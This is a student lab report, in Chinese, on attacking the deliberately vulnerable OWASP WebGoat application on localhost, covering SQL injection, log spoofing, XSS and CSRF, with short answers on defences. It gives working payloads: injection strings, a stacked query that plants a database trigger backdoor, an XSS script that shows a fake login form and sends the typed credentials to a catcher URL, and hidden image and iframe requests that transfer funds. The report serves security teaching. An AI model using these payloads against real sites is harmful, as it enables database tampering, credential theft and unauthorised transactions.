2019-2020-2《网络对抗技术》Exp9 Web安全基础
一、实践内容
理解常用网络攻击技术的基本原理,做不少于7个题目,包括(SQL,XSS,CSRF)。
二、实验步骤
1.WebGoat安装
- WebGoat是OWASP维护的,用于进行WEB漏洞测试和学习的JAVA应用程序。
- 下载
Java -jar webgoat-container-7.0.1-war-exec.jar文
件 - 输入
java -jar webgoat-container-7.0.1-war-exec.jar
运行WebGoat - 浏览器输入
localhost:8080/WebGoat
,输入默认的用户名密码登陆,可以看到现在没有出现课程。
- 输入
update-alternatives --config java
切换jdk版本,使用jdk1.8
- 然后重新运行WebGoat,浏览器登陆可以正常显示
2.SQL注入攻击
1.数字型注入Numeric SQL Injection
通过注入数字型数据(如:永真式)以达到注入的效果。
- 在左侧选择
Injection Flaws-Numeric SQL Injction
,在复选框处右键选择inspect Element审查网页元素,选中如图那一行代码,右键选择Edit At Html进行修改,添加or 1=1
使得天气选择Columbia的时候条件永真
- 确保复选框选择的城市是Columbia,然后单击
go
查看效果,成功就可以看到所有城市的天气了:
2.日志欺骗Log Spoofing
通过在日志文件中插入脚本实现清除攻击者在日志中痕迹的作用。
- 用户名输入
20175321%0d%0aLogin Succeeded for username: admin
,密码随意,可以看到登陆成功
3.字符串注入String SQL Injection
- 基于
SELECT * FROM user_data WHERE last_name = '?'
查询语句构造自己的SQL注入字符串,姓名框输入20175321' or 1=1--
,执行后可以看到所有人的卡号等信息:
4.数据库后门Database Backdoors
使用字符串SQL注入执行多个SQL语句,使用易受攻击的字段创建两个SQL语句,第一个是系统的,第二个是自己定义的。
- 首先输入
101
查看现有的信息:
- 可以看到现在的薪水是55000,现在我们使用
101; update employee set salary=100000
执行两条语句,第一条用于查看信息,后面的update则将薪水更新为100000
- 使用
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20175321@hackme.com'WHERE userid = NEW.userid
在每行插入前修改邮箱为指定邮箱:
3.XSS攻击
1.XSS钓鱼Phishing with XSS
当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
-
在搜索框输入:
</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("This website been attacked and your message has been stolen by xny. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
-
然后点击
Search
按钮后,输入登陆的用户名和密码可以看到:
2.存储型XSS攻击Stored XSS Attacks
这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行,从而达到写入非法的消息内容使得其他用户访问时载入非预期的页面或内容的目的。
- title随意输入,留言板中输入
<script>alert("I'm 20175321! Hello!");</script>
,提交后如下:
3.反射型XSS攻击Reflected XSS Attacks
攻击者使用攻击脚本创建一个URL,受害者点击该url就会受到攻击。
- 序列码输入
<script>alert(" 20175321!");</script>
之后提交:
4.CSRF攻击
1.跨站请求伪造Cross Site Request Forgery(CSRF)
跨站请求伪造是一种让用户加载一个包含网页的图片的一种攻击手段。提交请求时浏览器将添加与站点相关的所有cookie。因此,如果用户对站点进行了身份验证,并且拥有永久或当前会话cookie,那么站点将无法将其与合法的用户请求区分开来。通过这种方式,攻击者可以控制受害者执行他们没有许可的操作。
- 根据自己参数的实际情况,在message中使用
<img src="http://localhost:8080/WebGoat/attack?Screen=319&menu=900&transferFunds=1000" width="1" height="1" />
将url隐藏到一个隐藏图片中,提交后转走用户1000元
2.绕过CSRF确认CSRF Prompt By‐Pass
CSRF Prompt By‐Pass欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。
-
根据自己参数的实际情况,在message中使用:
<iframe src="attack?Screen=325&menu=900&transferFunds=1000"> </iframe> <iframe src="attack?Screen=325&menu=900&transferFunds=CONFIRM"> </iframe>
-
点击
Submit
提交:
三、基础问题回答
(1)SQL注入攻击原理,如何防御
-
原理:SQL注入攻击者利用web应用对于输入数据未进行非法输入检查而产生的安全漏铜,通过输入字符串中嵌入SQL指令的形式,使服务器执行攻击者输入的恶意SQL命令,从而使得攻击者可以访问数据库的数据并提取出来,甚至可以破坏数据库中的数据。除此之外,SQL注入攻击还可以通过在输入的字符串中加入“或 永真式”、在末尾加入注释符等方式实现重新构造命令语句达到无账号密码登录等攻击的目的。总的来说,SQL注入都是通过输入特殊字符串,提交到后台数据库中后会与数据库原有的SQL语句拼接成一个新的语句来实现攻击者的目的。
-
防御:检查用户输入是否符合规范,限制用户输入字符串中包含的字符类型和字符串长度。
(2)XSS攻击的原理,如何防御
-
原理:XSS攻击者在用户信用的网站上的文本输入框中输入一些恶意html标签或javascript脚本,当用户浏览该页时,脚本自动运行并控制用户浏览器以执行攻击者期望的指令。
-
防御:用户要提高防范意识,不轻易输入个人信息与密码等;网站应对用户输入的字符进行限制和审查,可以同时过滤恶意代码和不当言论。
(3)CSRF攻击原理,如何防御
-
原理:CSRF攻击者利用网站对于用户网页浏览器的信任,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作,以达到攻击者想要的目的。
-
防御:用户要提高防范意识,不轻易输入个人信息与密码等,尽量少地保存登陆信息,定期清理不常用的cookie;验证Http Referer字段;在请求地址中添加token并验证。
四、实践总结与体会
- 这是我们这学期的《网络对抗技术》这门课的最后一次实验了,这次实验中我通过使用WebGoat工具进行了许多不同攻击方法的学习实践,分为SQL注入攻击、XSS攻击、CSRF攻击三大类,我对网页中的漏洞有了更深的理解和认识。这次实验可以说这门课九个实验当中最顺利的一次了,WebGoat工具十分强大,我们也只是学习并实践了其中很小的一部分,无论是WEB安全这个主题,网络对抗技术这么课,还是信息安全专业,都是路漫漫其修远兮。落幕时分,百感交集。